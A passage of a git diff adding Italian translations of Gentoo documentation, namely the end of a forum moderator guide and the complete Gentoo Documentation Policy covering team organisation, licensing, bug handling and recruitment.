+una notifica linkando il thread che è stato spostato. Se si è certi che una
+discussione è duplicata, farlo subito. Altrimenti, potrebbe essere una buona
+idea postare un link, controllare se l'autore del post riconosce che è lo
+stesso, e poi muoverlo. Assicurarsi che per ogni thread che stia per essere
+spostato nei Duplicati ne esista sempre un altro chiaramente marcato come aperto
+per poter continuare la discussione.
+</p>
+
+<p>
+Quando si postano avvisi di spostamento nelle discussioni, provare a menzionare
+il forum originario, il nuovo forum, e forse una breve spiegazione. Ricordarsi
+che ogni volta che si muove una discussione si può abilitare la checkbox 'Leave
+auto move post...'.
+</p>
+
+<p>
+Ogni nuova discussione che non contiene richieste d'aiuto va messa fuori dalla
+sezione Assistance e spostata in quella Discussion (&#38; Documentation). Al
+contrario, ogni domanda d'aiuto nella sezione Discussion dev'esser spostata
+nella sezione Assistance.
+</p>
+
+<p>
+Le discussioni di supporto a proposito di software che non è direttamente
+gestito dagli sviluppatori Gentoo dovranno essere istantaneamente spostate nel
+forum "Unsupported Software".
+</p>
+
+<p>
+Le discussioni di richiesta di supporto nella sezione Assistance devono essere
+sempre in Inglese. Se si trova una discussione che non è in inglese, chiedere
+all'utente di cambiarla o muoverla nel corrispondente forum internazionale a
+propria discrezione.
+</p>
+
+<p>
+I messaggi incrociati ("Cross post") all'interno della sezione Assistance non
+sono consentiti, cioè, se viene trovata la stessa discussione (o simile) dallo
+stesso utente in differenti forum di supporto all'interno di Assistance,
+mantenere il più utile e spostare l'(gli) altro(i) in Duplicate Threads. Si deve
+anche postare un avviso affinchè l'utente non lo faccia nuovamente.
+</p>
+
+<p>
+I messaggi con link all'interno di altre discussioni che chiedono aiuto sullo
+stesso problema sono da trattare come i "cross post". Un'eccezione è il
+cross-posting in Assistance e International Forums a meno che i moderatori
+internazionali non vogliano permetterlo. Ciò è lasciato alla discrezione dei
+moderatori di ciascun forum internazionale.
+</p>
+
+<p>
+Domande di supporto per altri sistemi operativi (questo include ogni
+distribuzione linux come Vida, Redhat, Debian così come MS Windows  e i LiveCD,
+anche se basati su Gentoo) devono essere spostati in "Off The Wall". Questo non
+include domande su come configurare un sistema Gentoo per interoperare con uno
+di questi altri sistemi operativi e vice versa. Per esempio : 'come configuro la
+mia stampante windows per accettare lavori di stampa dalla mia gentoo box'
+questa domanda va bene nei forum di supporto. 'come installo bittorrent su
+windows xp' non è accettabile e deve essere spostata in OTW.
+</p>
+
+<p>
+In normali circostanze, le discussioni dovrebbero essere spostate solo una
+volta.
+</p>
+
+</body>
+</section>
+<section>
+<title>Modificare un messaggio di un utente</title>
+<body>
+
+<p>
+È buona prassi modificare i messaggi per aggiungere i propri commenti nei
+messaggi di <uri
+link="https://forums.gentoo.org/viewtopic-t-28820.html">Violations
+Thread</uri> del forum Gentoo Forums Feedback. Se si pensa che un messaggio
+debba essere modificato, per rimuovere URL offensivi, riformattare il testo o
+ogni cosa che si consideri necessaria, aggiungere un commento firmato con il
+proprio nome utente alla fine del messaggio tra i tag di phpBB [i] [/i].
+</p>
+
+</body>
+</section>
+<section>
+<title>Cancellare i messaggi</title>
+<body>
+
+<p>
+Se si vede un ovvio errore dell'autore, come messaggi o discussioni identiche,
+cancellarli senza avviso. Preferire la chiusura alla cancellazione delle
+discussioni. La sola ragione per cancellare le discussioni è se sono ovviamente
+duplicate.
+</p>
+
+</body>
+</section>
+<section>
+<title>Spam</title>
+<body>
+
+<p>
+Se si rileva uno spammer che posta pubblicità in molti forum, cancellare tutti i
+relativi messaggi tranne uno, che dovrà essere conservato come prova di spam.
+Questa prova di spam deve essere spostata in Dustbin. Infine, indicare l'utente
+nella discussione <uri
+link="https://forums.gentoo.org/viewtopic-t-92861.html">Accounts used for
+SPAM</uri> ed indicare nel messaggio le seguenti informazioni:
+</p>
+
+<ul>
+  <li>Account utente (preferibile con l'URL del suo profilo)</li>
+  <li>Un link alla prova di SPAM</li>
+  <li>
+    Azioni da intraprendere [avviso(questa opzione è scelta di rado)/ban/ban di
+    indirizzo ip]
+   </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Chiudere (bloccare) una discussione</title>
+<body>
+
+<p>
+Cercare di avvisare le principali discussioni una volta prima di chiuderle, se
+scadono in off topic o diventano personali o altro. Se (se stessi o qualsiasi
+altro moderatore) fa qualche minaccia (es. "un altro 'anche io' e questa
+discussione è chiusa"), farne la copia di sicurezza più velocemente possibile.
+Non fare minacce a vuoto, non fare nemmeno in modo che altri moderatori sembra
+che lo facciano, perchè magari sono semplicemente andati a dormire.
+</p>
+
+<p>
+Postare sempre un avviso di chiusura con una spiegazione quando si chiudono le
+discussioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dividere le discussioni</title>
+<body>
+
+<p>
+Dividere una discussione se una domanda è chiesta alla fine o vicino alla fine
+e non ha niente a che fare con l'argomento iniziale, a meno che non sia molto
+semplice e si possa rispondere chiaramente. Il più comune tipo di messaggio in
+questa categoria riscontrati viene chiamato la "Sindrome di Colombo", da un
+detective americano della televisione degli anni 70, che era famoso per tornare
+nella stanza e dire "solo un altra cosa". Essere sicuri di dare alla nuova
+discussione un titolo che sia rilevante alla domanda e postare un avviso della
+divisione nella discussione originale
+</p>
+
+<p>
+Si possono anche dividere le discussioni che hanno tante pagine se gli utenti
+sono d'accordo o lo richiedono. Si può in questo caso chiudere la vecchia
+discussione e collegarle entrambe tra di loro.
+</p>
+
+<p>
+Quando si dividono le discussioni, postare gli avvisi di divisione sia nella
+vecchia che nella nuova discussione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Unire le Discussioni</title>
+<body>
+
+<p>
+Qualche volta si ha a che fare con discussioni che descrivono problemi simili.
+Altre volte, una discussione è proprio un duplicato di un'altra. In ogni caso,
+se le nuove discussioni sono abbastanza corte e non c'è nessun problema con
+l'ora/la data di esse, si possono sempre unire le due discussioni in una invece
+di muovere la più nuova in Duplicate Threads. Ricordare di postare un avviso
+dopo aver unito le discussioni, spiegando che la nuova discussione è stata unita
+alla vecchia.
+</p>
+
+</body>
+</section>
+<section>
+<title>Forum Internazionali</title>
+<body>
+
+<p>
+Qualche forum internazionale ha una discussione di coordinamento nel forum dei
+moderatori. Qualcuno di essi hanno delle politiche separate che sono un
+sottoinsieme di questa guida. Questa Guida ha precedenza e deve essere riferito
+il caso in cui le politiche dei forum internazionali infrangano queste regole;
+questa è una regola generale e le eccezioni possono essere fatte e sono state
+fatte. Se si è assegnati come moderatori di uno di questi forum si prega di
+leggere la discussione specifica. Se non esiste una discussione per la propria
+lingua si può crearne una nel forum dei moderatori se ci sono più di un
+moderatore per quella lingua.
+</p>
+
+<ul>
+  <li>
+    <uri link="https://forums.gentoo.org/viewtopic-t-344959.html">Olandese</uri>
+  </li>
+  <li>
+    <uri link="https://forums.gentoo.org/viewtopic-t-103543.html">Tedesco</uri>
+  </li>
+  <li>
+    <uri link="https://forums.gentoo.org/viewtopic-t-147895.html">Italiano</uri>
+  </li>
+  <li>
+    <uri link="https://forums.gentoo.org/viewtopic-t-262578.html">Polacco</uri>
+  </li>
+  <li>
+    <uri link="https://forums.gentoo.org/viewtopic-t-199902.html">
+    Portoghese</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Forum specifici per Architettura</title>
+<body>
+
+<p>
+I forum specifici per Architettura sono in genere moderati dai moderatori
+globali e <e>solitamente</e> da uno Sviluppatore di quella architettura. Siccome
+lo Sviluppatore è intimamente familiare con l'architettura ci si rimette alla
+sua opinione, in molti casi. Questa è una regola generale, i  Moderatori Globali
+e gli Amministratori hanno l'ultima parola su qualunque questione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gamers e Players</title>
+<body>
+
+<p>
+Il forum Gamers and Players è riportato sotto la sezione Assistance.
+Diversamente dagli altri forum di assistenza, in Gamers and Players sono
+consentite discussioni generiche a proposito di giochi. Cose come strategie,
+codici di gioco, ecc... La regola generale è "Se il gioco gira su Gentoo,
+persino in un emulatore come Cedega, va bene discuterne in Gamers and Players".
+Questo <e>non</e> include software contraffatto. Consultare la sezione
+intitolata "Attività Illecite" per ulteriori informazioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Varie</title>
+<body>
+
+<p>
+Quando si cita un messaggio stare attenti a non schiacciare "Modifica" per
+errore.
+</p>
+
+<p>
+Il "Bumping" (ndT: rispondere ad un messaggio per portarlo in cima alla lista,
+in modo da dargli maggiore visibilità) è generalmente scoraggiato ma è tollerato
+se la discussione non ha avuto risposte per più di 24 ore. Usare il proprio
+giudizio e in caso di dubbio schierarsi dalla parte del bumper.
+</p>
+
+<p>
+Non importa cosa si faccia o non si faccia, non si può far contenti tutti
+quanti. Una volta accettato questo fatto, la propria vita come moderatore
+diventerà più facile.
+</p>
+
+<p>
+Per prevenire ogni possibilità che un account di un moderatore venga
+compromesso ci si deve connettere in maniera sicura tramite https quando si
+effettua il login nei forum.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risorse</title>
+<section>
+<title>Server di Test per i Forum</title>
+<body>
+
+<p>
+È disponibile un <uri link="https://forumstest.gentoo.org/">server di test</uri>
+per provare tutti i brillanti bottoni che sono disponibili quando si è
+Moderatori. Esso è anche il principale server usato per provare nuove
+funzionalità e aggiornamenti del software del forum. Questo server è protetto da
+password, il nome utente e la password sono reperibili <uri
+link="https://forums.gentoo.org/viewtopic-t-331290.html">qui</uri>. Il database
+di questo server è una fotografia (snapshot) del Forum vero e proprio e non è
+sempre aggiornato. Se non si ha lo status di moderatore su questo server si
+prega di contattare un amministratore del forum.
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC - #gentoo-forums</title>
+<body>
+
+<p>
+Il forum ha il proprio canale irc impostato in modo che gli utenti possano
+contattare il team del Forum, #gentoo-forums su freenode.net. Sebbene non sia
+necessario essere a disposizione in questo canale, esso è una risorsa dalla
+quale molti utenti traggono vantaggio, pertanto, se si è su irc, si prega di
+entrare e rimanere in questo canale in modo da poter essere contattati dagli
+utenti.
+</p>
+
+</body>
+</section>
+<section>
+<title>forum-mods@gentoo.org</title>
+<body>
+
+<p>
+I  Moderatori Globali e gli Amministratori dovrebbero essere aggiunti al'alias
+email forum-mods@gentoo.org. Questa email è principalmente per gli utenti che
+hanno problemi con i propri account del forum e non possono contattare il team
+dei Moderatori del Forum in nessun altro modo. Anche se il forum dei Moderatori
+è il principale modo di avere discussioni interne viene utilizzata anche questa
+mailing list. Chiunque sia un moderatore può vedere il forum dei moderatori.
+Solo i Moderatori Globali e gli Amministratori ricevono le email inviate a
+questo indirizzo. Si prega di tenerne conto quando si decide quale mezzo
+comunicativo usare.
+</p>
+
+</body>
+</section>
+<section>
+<title>Email e URL</title>
+<body>
+
+<ul>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-28820.html">Guideline
+  Violations Reports</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-339461.html">Banned
+  Anthology</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-382491.html">Problem
+  Accounts</uri></li>
+  <li>
+    <uri link="https://forumstest.gentoo.org">Server di Test per il Forum</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">
+    Gentoo Mentors Guide</uri> (ndT: in inglese)
+  </li>
+  <li><uri link="http://www.gentoo.org/proj/it/devrel/handbook/handbook.xml">
+  Manuale per sviluppatori Gentoo</uri></li>
+  <li>
+    <uri
+    link="http://www.gentoo.org/proj/it/devrel/new-dev-training.xml">Istruzioni
+    per i nuovi sviluppatori</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/it/devrel/policy.xml">Guida alle
+    Politiche per le Relazioni tra Sviluppatori</uri>
+    </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/gdp/doc/doc-policy.xml b/xml/htdocs/proj/it/gdp/doc/doc-policy.xml
new file mode 100644
index 00000000..075183f6
--- /dev/null
+++ b/xml/htdocs/proj/it/gdp/doc/doc-policy.xml
@@ -0,0 +1,569 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/gdp/doc/doc-policy.xml,v 1.10 2007/04/27 15:32:49 scen Exp $ -->
+
+<guide link="/proj/it/gdp/doc/doc-policy.xml" lang="it">
+<title>Politica della Documentazione di Gentoo Linux</title>
+
+<author title="Autore">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Autore">John P. Davis</author>
+<author title="Autore">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Redazione">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Traduzione">
+  Stefano Pacella
+</author>
+<author title="Traduzione">
+  Team Italiano
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<abstract>
+Questo documento contiene la Politica della Documentazione di Gentoo, ovvero il
+documento base che tutti gli sviluppatori e i Contributori della Documentazione
+di Gentoo dovrebbero conoscere ed esercitare.
+</abstract>
+
+<license/>
+
+<version>4</version>
+<date>2007-02-26</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Il team di Documentazione di Gentoo Linux aspira a creare una documentazione
+particolarmente professionale che sia immediatamente chiara e concisa all'utente
+finale. Per compiere questo obiettivo, abbiamo delle regole molto specifiche e
+guide di riferimento che <e>tutta</e> la documentazione deve seguire prima che
+sia pubblicata sul nostro sito, o da altre parti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Argomenti Trattati</title>
+<body>
+
+<p>
+Questa politica tratterà i seguenti argomenti:
+</p>
+
+<ul>
+  <li>Organizzazione del Team addetto al Progetto di Documentazione</li>
+  <li>Guide di Riferimento della Documentazione</li>
+  <li>Iscrizione al Team di Documentazione</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Organizzazione del Team addetto al Progetto di Documentazione</title>
+<section>
+<title>Organizzazione</title>
+<body>
+
+<p>
+Il Team addetto al Progetto di Documentazione di Gentoo è diviso in parecchi
+team più piccoli che operano in completa collaborazione tra loro. Ogni team più
+piccolo rappresenta un team attivo di sviluppo del Sottoprogetto di
+Documentazione di Gentoo.
+</p>
+
+<!--
+<p>
+Il Progetto di Documentazione di Gentoo è guidato strategicamente da un
+responsabile di alto livello secondo la <uri
+link="/doc/en/management-structure.xml">Struttura Direttiva di Gentoo</uri>.
+Questo documento descrive inoltre le responsabilità del responsabile
+strategico riguardo a Gentoo Linux.
+</p>
+-->
+
+<p>
+Per le mansioni direttive giornaliere il Progetto di Documentazione di Gentoo
+ha un responsabile operativo. Questa persona si tiene al corrente di tutte le
+mansioni relative alla documentazione che sono di più breve durata. Il
+responsabile operativo ed il responsabile strategico possono essere la stessa
+persona se il responsabile strategico lo desidera.
+</p>
+
+<p>
+Attualmente queste posizioni sono prese dalle seguenti persone:
+</p>
+
+<table>
+<tr>
+  <th>Posizione</th>
+  <th>Nome dello sviluppatore</th>
+  <th>Nick dello sviluppatore</th>
+</tr>
+<tr>
+  <ti>Responsabile Strategico</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+<tr>
+  <ti>Responsabile Operativo</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+</table>
+
+<!--
+<p>
+Ogni sottoprogetto ha un suo responsabile strategico. Lui può avere un
+responsabile operativo se lo ritiene adatto. Le sue responsabilità al
+Progetto di Documentazione di Gentoo(GDP) sono le stesse elencate su la <uri
+link="/doc/en/management-structure.xml#doc_chap1_sect5">Struttura Direttiva di
+Gentoo</uri>.
+</p>
+-->
+
+<p>
+I sottoprogetti del Team di Documentazione di Gentoo insieme ai loro rispettivi
+responsabili strategici sono elencati sul <uri link="/proj/en/gdp/">sito web
+GDP</uri>.
+</p>
+
+<p>
+La decisione sull'aggiunta di un sottoprogetto è nelle mani del responsabile
+strategico.
+</p>
+
+</body>
+</section>
+<section>
+<title>Membri del Team del Progetto di Documentazione</title>
+<body>
+
+<p>
+Ogni membro del Progetto di Documentazione di Gentoo deve essere iscritto alla
+mailing list <mail
+link="gentoo-doc+subscribe@gentoo.org">gentoo-doc@gentoo.org</mail>. Questa
+mailing list sarà usata per discutere su tutti gli aspetti relativi alla
+documentazione. La mailing list è aperta a tutti coloro che sono interessati,
+sviluppatori o meno.
+</p>
+
+<p>
+Ogni membro del Progetto di Documentazione di Gentoo deve essere parte
+dell'alias <mail>docs-team@gentoo.org</mail>. Questo alias è usato <e>solo</e>
+da <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri> per informare il
+team della documentazione sui bug che riguardano la Documentazione di Gentoo. Ci
+si può aggiungere modificando <path>/var/mail/alias/misc/docs-team</path> su
+dev.gentoo.org.
+</p>
+
+<p>
+Ogni membro del Team di Documentazione di Gentoo dovrebbe essere disponibile su
+<c>#gentoo-doc</c> su <uri link="http://www.freenode.net">irc.freenode.net</uri>
+ogni volta che è online.
+</p>
+
+<p>
+A seconda delle proprie responsabilità, un membro può avere un accesso limitato
+al CVS a <c>cvs.gentoo.org</c>. L'accesso completo al CVS può soltanto essere
+dato agli sviluppatori di Gentoo. È disponibile un <uri
+link="http://anoncvs.gentoo.org">server CVS anonimo</uri>, contenente gli stessi
+file del server CVS principale, ma con un ritardo di aggiornamento di qualche
+minuto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Team di Traduzione della Documentazione</title>
+<body>
+
+<p>
+Ogni lingua dovrebbe essere sostenuta da un team ufficiale di traduzione. Questo
+team è guidato da un coordinatore e, non sempre, da un vice coordinatore, i
+quali hanno accesso al commit sul CVS. Se per qualsiasi motivo il coordinatore
+non può adempiere alle proprie funzioni, è in carico il vice coordinatore. Se
+anche quest'ultimo non è disponibile, il (o i) mentore(i) sono incaricati per
+tale lingua.
+</p>
+
+<p>
+Se viene inviato come contributo un documento tradotto, ma la lingua non è
+supportata, il Team di Documentazione di Gentoo lo pubblicherà così com'è. I
+collegamenti a questo tipo di documenti non verranno inseriti nel sito web
+finchè non si formerà un team ufficiale di traduzione di quella lingua, ma i
+documenti in sè saranno comunque disponibili nel sito e in CVS.
+</p>
+
+<p>
+Quando una lingua è supportata ufficialmente, ma il team non ha nessun membro
+che voglia prendersi le responsabilità di <e>Responsabile Traduzioni</e>, tutti
+i collegamenti ai documenti saranno rimossi dal sito. Tuttavia, i documenti
+saranno disponibili nel caso la lingua diventi di nuovo ufficialmente
+supportata.
+</p>
+
+<p>
+Per ulteriori informazioni sulle traduzioni della documentazione di Gentoo,
+consultare la <uri link="/proj/it/gdp/doc/translators-howto.xml">
+Guida alla traduzione della documentazione di Gentoo</uri> e <uri
+link="/proj/en/gdp/international.xml">GDP Internationalisation
+Subproject</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Guide di Riferimento della Documentazione di Gentoo</title>
+<section>
+<title>Aspetti Legali</title>
+<body>
+
+<p>
+Ogni documento pubblicato dal Progetto di Documentazione di Gentoo deve avere
+come licenza la <uri
+link="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons
+Attribution-ShareAlike License</uri>.
+</p>
+
+<p>
+Ogni documento deve avere il seguente tag nel proprio codice sorgente GuideXML
+tra i tag <c>&lt;/abstract&gt;</c> e <c>&lt;version&gt;</c>:
+</p>
+
+<pre caption = "Avviso di licenza per la Documentazione di Gentoo">
+&lt;/abstract&gt;
+<i>
+&lt;!-- The content of this document is licensed under the CC-BY-SA license --&gt;
+&lt;!-- See http://creativecommons.org/licenses/by-sa/2.5 --&gt;
+&lt;license/&gt;
+</i>
+&lt;version&gt;...&lt;/version&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Bug e Aggiornamenti</title>
+<body>
+
+<p>
+Ogni bug riportato su <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri> dovrebbe essere gestito il
+più velocemente possibile. Se un bug non può essere gestito in modo tempestivo,
+colui che ha riportato il bug dovrebbe essere informato, usando un commento sul
+bug e il bug stesso dovrebbe essere registrato nel file <uri
+link="/proj/it/gdp/doc/metadoc-guide.xml">metadoc.xml</uri>, se applicabile. Il
+responsabile strategico o operativo può decidere che ad un bug venga data una
+priorità maggiore e debba essere trattato prima di qualunque altra operazione.
+</p>
+
+<p>
+Ogni volta che un membro del Team di Documentazione di Gentoo si prende cura di
+un bug, dovrebbe assegnare il bug a sè stesso, e assicurarsi che
+<mail>docs-team@gentoo.org</mail> sia nella lista Cc. Un membro del Team di
+Documentazione non può autoassegnarsi un bug già assegnato ad un altro membro
+senza il consenso del responsabile operativo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sviluppo del Documento</title>
+<body>
+
+<p>
+Ogni documento che il Team di Documentazione di Gentoo sviluppa può essere
+elaborato come ritiene più opportuno. Tuttavia, quando il documento è finito,
+dovrebbe essere trasformato in <uri link="/doc/it/xml-guide.xml">GuideXML</uri>
+e reso disponibile nell'infrastruttura CVS di Gentoo. Deve anche essere
+registrato nel file <uri
+link="/proj/it/gdp/doc/metadoc-guide.xml">metadoc.xml</uri>, se possibile.
+</p>
+
+<p>
+Quando un nuovo documento è iniziato o è necessario un grande cambiamento,
+dovrebbe essere inserito su <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri> un bug riguardante lo
+sviluppo di questo documento. Se nel database c'è già un bug che richiede un
+cambiamento alla documentazione, non bisogna inserirne uno di nuovo. Anche
+piccoli cambiamenti, grammaticali, di sintassi, non richiedono l'inserimento di
+un un bug su <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+
+<p>
+Tutti i cambiamenti nei contenuti del documento, tranne le correzioni di errori
+di ortografia nel testo o nei commenti agli elenchi di codice, dovrebbero
+portare ad un incremento del numero di versione e della data. Notare che la
+modifica di un blocco di codice dovrebbe certamente produrre un incremento del
+numero della versione e della data.
+</p>
+
+<p>
+Tutti i cambiamenti nella formattazione di XML dovrebbero portare ad una
+modifica della versione e della data soltanto nel caso in cui cambi
+l'impaginazione del documento.
+</p>
+
+<p>
+L'incremento o meno della versione principale piuttosto della versione
+secondaria o di altro, spetta al redattore.
+</p>
+
+<p>
+Ogni aggiornamento di una traduzione dovrebbe usare alla lettera le informazioni
+di versione e data del documento principale inglese, in modo che le traduzioni
+completamente sincronizzate abbiano la stessa versione e data.
+</p>
+
+</body>
+</section>
+<section>
+<title>Revisione e Commit</title>
+<body>
+
+<p>
+Per mantenere alto il ciclo di sviluppo della documentazione, i cambiamenti di
+natura tecnica o intrusiva possono essere inseriti subito nel documento.
+Questo è permesso <e>se</e> il redattore è sicuro che i cambiamenti funzionino.
+Se non si è sicuri (per esempio se un utente ha detto come riparare un bug ma
+non è possibile verificarlo direttamente), far rivedere il cambiamento ad uno
+sviluppatore di Gentoo, in modo che possa verificarlo.
+</p>
+
+<p>
+Grandi cambiamenti, tecnici o intrusivi, devono essere accompagnati da un
+bug report su <uri>http://bugs.gentoo.org</uri>. Il numero del bugreport
+<e>deve</e> essere menzionato nel log del CVS, per permettere il tracciamento
+dei cambiamenti.
+</p>
+
+<p>
+Se la correzione è costituita sia da cambiamenti di contenuto che da cambiamenti
+del codice interno, entrambi devono essere applicate ma separatamente, cosìcchè
+i traduttori possano analizzare più facilmente i cambiamenti importanti
+(contenuto) e ignorare quelli di codice.
+</p>
+
+<p>
+Nel caso di una traduzione, il <e>Responsabile Traduzioni</e> per quella
+lingua è responsabile del documento. Solo il <e>Responsabile Traduzioni</e> e
+il suo aiutante possono fare il commit del documento nel repository CVS.
+Tuttavia, se il <e>Responsabile Traduzioni</e> è "in prova", il commit della
+modifica dovrebbe farla il relativo mentore.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sanzioni</title>
+<body>
+
+<p>
+Condotte irregolari degli sviluppatori non sono mai state un problema. Dovrebbe
+essere reso noto che sviluppatori della documentazione che abusano della loro
+posizione riguardo a
+</p>
+
+<ul>
+  <li>
+    fornire deliberatamente informazioni errate a utenti o sviluppatori
+  </li>
+  <li>
+    scrivere deliberatamente documentazione non corretta
+  </li>
+  <li>
+    corrompere deliberatamente i documenti
+  </li>
+  <li>
+    andare deliberatamente contro le decisioni prese dalla politica di Gentoo o
+    dal consenso della mailinglist della documentazione di Gentoo
+  </li>
+  <li>
+    non svolgere nessun compito per un lungo tempo senza informare il GDP e
+    senza replicare alla richiesta del responsabile operativo per un
+    aggiornamento sullo stato
+ </li>
+</ul>
+
+<p>
+saranno segnalati al progetto <uri link="/proj/en/devrel/">Gentoo Developer
+Relations</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Iscrizione al Team di Documentazione</title>
+<section>
+<title>Contributori, Autori, Traduttori</title>
+<body>
+
+<p>
+Chiunque sia interessato a contribuire alla documentazione, a pubblicare una
+documentazione esistente, a scriverne una nuova o a tradurla, può inviare il
+proprio contributo, che ovviamente sarà benaccetto. Non ci sono regole o
+limitazioni a riguardo. Assicurarsi di essere iscritti a
+<mail>gentoo-doc@gentoo.org</mail> e di aver letto completamente e compreso
+questa linea di condotta.
+</p>
+
+</body>
+</section>
+<section>
+<title>Processo di reclutamento</title>
+<body>
+
+<p>
+Il Progetto di Documentazione ha un rigoroso processo di reclutamento spiegato
+qui di seguito. Questo processo non può essere deviato in nessuna circostanza.
+È stato scelto per assicurare che chi entra nel gruppo conosca bene la Politica
+di Documentazione Gentoo e lo Stile di Codice Gentoo. Risulta abbastanza
+efficace anche se molti contributori lo considerano troppo difficile.
+</p>
+
+<p>
+Questo processo è solo per le richieste al Gentoo Documentation Repository
+attraverso il CVS. Per essere elencati come mantenitore o punto di contatto per
+un certo documento o per un certa gamma di essi basta fare una semplice
+richiesta al Responsabile Operativo o al Responsabile del Progetto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fase 1: Contributi</title>
+<body>
+
+<p>
+Nessun processo di reclutamento comincia senza vedere i contributi fatti al
+Progetto di Documentazione Gentoo. Il numero di contributi deve essere ampio per
+assicurare una buona conoscenza del GuideXML, Stile di Codice e la Politica. Il
+periodo di contribuzione deve essere ampio.
+</p>
+
+<p>
+Il numero di contributi e il periodo dovrebbe dipendere dalla posizione al quale
+il contributore aspira. E' difficile scrivere i numeri per questo processo, la
+seguente tabella dovrebbe dare una panoramica generale. La decisione finale è
+presa dal Responsabile Operativo.
+</p>
+
+<table>
+<tr>
+  <th>Posizione</th>
+  <th>Attività minima</th>
+  <th>Periodo minimo</th>
+</tr>
+<tr>
+  <ti>Sviluppatore a tempo pieno</ti>
+  <ti>2 aggiornamenti per settimana</ti>
+  <ti>1 mese</ti>
+</tr>
+<tr>
+  <ti>Sviluppatore a tempo perso</ti>
+  <ti>4 aggiornamenti per mese</ti>
+  <ti>1 mese</ti>
+</tr>
+</table>
+
+<p>
+Un aggiornamento è un cambiamento considerevole a un documento, una traduzione o
+altro, scritto dal contributore e applicato dopo la revisione da uno
+sviluppatore. Il periodo è fisso - aumentare le documentazioni non diminuisce il
+periodo. Non viene fatta la media di ogni contributo per assicurare che il
+contributore non bruci il contributo e poi aspetti la fine della fase.
+</p>
+
+<p>
+Senza questa fase non si ha la certezza se il contributore conosca cosa vuol
+dire essere uno sviluppatore della documentazione. La validità di questa
+attività è seguita con i bugreport.
+</p>
+
+<p>
+Una richiesta per un accesso al CVS che non permette una attività di sviluppo
+come scritto nella tabella non è presa in considerazione.
+</p>
+
+<p>
+Se si pensa di avere un buona quantità di contributi contattare il Responsabile
+Operativo del Progetto di Documentazione Gentoo. Egli chiederà dei dati ed altre
+informazioni e predisporrà il passaggio alla fase successiva.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fase 2: Inizio del Processo di Reclutamento</title>
+<body>
+
+<p>
+Durante questo periodo, che è più o meno uguale alla tabella summenzionata, le
+patch proposte non verranno più redatte da uno sviluppatore della
+documentazione, ma potranno essere o accettate così come sono o rifiutate. La
+recluta viene inoltre assegnata ad uno sviluppatore di documentazione a tempo
+pieno (il mentore) che lo guiderà attraverso queste ultime fasi.
+</p>
+
+<p>
+La qualità dei contributi in questa fase è molto importante - ogni patch che
+non segue la Politica di Documentazione, Stile di Codice o altre linee guida
+che rovinano il documento è rifiutata.
+</p>
+
+<p>
+Durante questo periodo:
+</p>
+
+<ul>
+  <li>
+    si raccomanda di imparare bene i funzionamenti interni di Gentoo. Questo è
+    richiesto poichè verrà chiesto di rispondere al <uri
+    link="/proj/en/devrel/quiz/staff-quiz.txt">Quiz per lo Staff</uri> di
+    Gentoo.
+  </li>
+  <li>
+    rispondere al <uri link="/proj/en/gdp/doc/doc-quiz.xml">Quiz del Progetto di
+    Documentazione Gentoo</uri>. È necessario passare questo quiz (rispondendo
+    correttamente a tutte le domande), prima di continuare con la prossima
+    fase.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Fase 3: Reclutamento Gentoo</title>
+<body>
+
+<p>
+Quando la fase 2 è terminata, il Responsabile Operativo contatterà <uri
+link="/proj/en/devrel/">Developer Relations</uri> e darà il via finale per il
+processo di reclutamento Gentoo dopo il quale verrà fornito un indirizzo
+e-mail e si verrà aggiunti a uno o più sottoprogetti.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/it/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..c6c65944
--- /dev/null
+++ b/xml/htdocs/proj/it/gdp/doc/doc-tipsntricks.xml
